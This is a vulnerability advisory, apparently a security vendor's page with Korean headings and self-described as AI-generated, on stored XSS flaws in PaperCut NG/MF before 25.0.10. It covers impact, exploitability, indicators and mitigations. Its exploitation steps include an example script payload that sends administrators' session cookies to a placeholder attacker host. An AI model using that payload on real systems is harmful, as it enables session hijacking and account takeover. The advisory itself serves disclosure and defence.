CVE-2026-4794:
PaperCut NG 취약성 분석 및 완화
개요
CVE-2026-4794 describes multiple stored cross-site scripting (XSS) vulnerabilities in PaperCut NG and PaperCut MF print management software affecting all versions before 25.0.10. Authenticated administrator users can inject arbitrary web script or HTML code via various UI fields in the admin interface, potentially compromising other administrators' sessions or enabling unauthorized actions within an authenticated context. The vulnerability was published on March 31, 2026, with a patch released in version 25.0.10. It carries a CVSS v3.1 base score of 4.8 (Medium) and a CVSS v4.0 base score of 2.1 (Low) (GitHub Advisory, PaperCut Bulletin).
기술적 세부 사항
The root cause is improper neutralization of user-controllable input before it is rendered in web pages served to other users (CWE-79). Multiple UI fields within the PaperCut NG/MF administrator interface fail to sanitize input, allowing a malicious administrator to store crafted JavaScript or HTML payloads that execute in the browser context of other administrators who subsequently view the affected pages. Exploitation requires the attacker to already hold valid administrator credentials and the attack requires passive user interaction from a victim administrator (i.e., the victim must view the page containing the injected payload). No public proof-of-concept exploit code has been identified (GitHub Advisory, PaperCut Bulletin).
영향
Successful exploitation allows an attacker with administrator-level access to hijack other administrators' authenticated sessions, perform unauthorized administrative actions on their behalf, or exfiltrate session tokens and sensitive configuration data visible within the admin UI. The scope is changed (subsequent system impact), meaning the injected script executes in the browser context of other administrators rather than just the attacker's own session, resulting in low confidentiality and low integrity impacts on the subsequent system. Availability is not directly impacted, and exploitation is constrained to the administrative interface (GitHub Advisory, PaperCut Bulletin).
악용 가능성
There is no evidence of public proof-of-concept exploit code or active in-the-wild exploitation as of the time of publication. The EPSS score is approximately 0.044% (4th percentile), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is significantly constrained by the requirement for existing administrator credentials and passive interaction from a victim administrator (GitHub Advisory).
착취 단계
- Obtain Administrator Access: Gain valid PaperCut NG/MF administrator credentials through phishing, credential stuffing, or insider access — a prerequisite for exploitation.
- Identify Injectable UI Fields: Log into the PaperCut admin interface and enumerate UI fields (e.g., printer names, user group descriptions, notification messages, or configuration text fields) that are rendered back to other administrators without proper sanitization.
- Inject Malicious Payload: Enter a crafted XSS payload (e.g.,
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into one or more vulnerable UI fields and save the configuration. - Wait for Victim Interaction: Wait for another administrator to navigate to the page containing the injected payload; the script executes automatically in their browser session (passive user interaction).
- Harvest Session or Perform Actions: The injected script exfiltrates the victim administrator's session cookie or performs unauthorized administrative actions (e.g., adding rogue admin accounts, modifying printer configurations) using the victim's authenticated context (GitHub Advisory, PaperCut Bulletin).
타협의 징후
- Logs: PaperCut application logs showing unusual administrator account activity, particularly configuration changes to UI fields containing HTML or JavaScript syntax (e.g.,
<script>,onerror=,javascript:). - Network: Outbound HTTP/S requests from administrator browsers to unexpected external domains shortly after accessing the PaperCut admin interface, potentially carrying session cookie data as query parameters.
- Logs: Web server access logs showing requests to the PaperCut admin interface from multiple administrator accounts in rapid succession or from unusual IP addresses, which may indicate session hijacking.
- File System: No specific file-system artifacts expected, as this is a browser-side attack; however, review PaperCut's audit log for unexpected changes to printer configurations, user groups, or notification templates containing script tags.
완화 및 해결 방법
PaperCut has released a patch in PaperCut NG/MF version 25.0.10; organizations should upgrade immediately (PaperCut Bulletin). As interim mitigations, restrict administrator account access to the minimum number of trusted users and enforce strong authentication (e.g., MFA) for all admin accounts. Implementing a Content Security Policy (CSP) header on the PaperCut web interface can reduce the impact of any XSS payloads by restricting script execution to trusted sources. Monitor administrator accounts for suspicious activity and review audit logs for unexpected configuration changes.
추가 자료
근원: 이 보고서는 AI를 사용하여 생성되었습니다.
관련 PaperCut NG 취약점:
무료 취약성 평가
클라우드 보안 태세를 벤치마킹합니다
9개의 보안 도메인에서 클라우드 보안 관행을 평가하여 위험 수준을 벤치마킹하고 방어의 허점을 식별합니다.
추가 Wiz 리소스
맞춤형 데모 받기
맞춤형 데모 신청하기
"내가 본 최고의 사용자 경험은 클라우드 워크로드에 대한 완전한 가시성을 제공합니다."
"Wiz는 클라우드 환경에서 무슨 일이 일어나고 있는지 볼 수 있는 단일 창을 제공합니다."
"우리는 Wiz가 무언가를 중요한 것으로 식별하면 실제로 중요하다는 것을 알고 있습니다."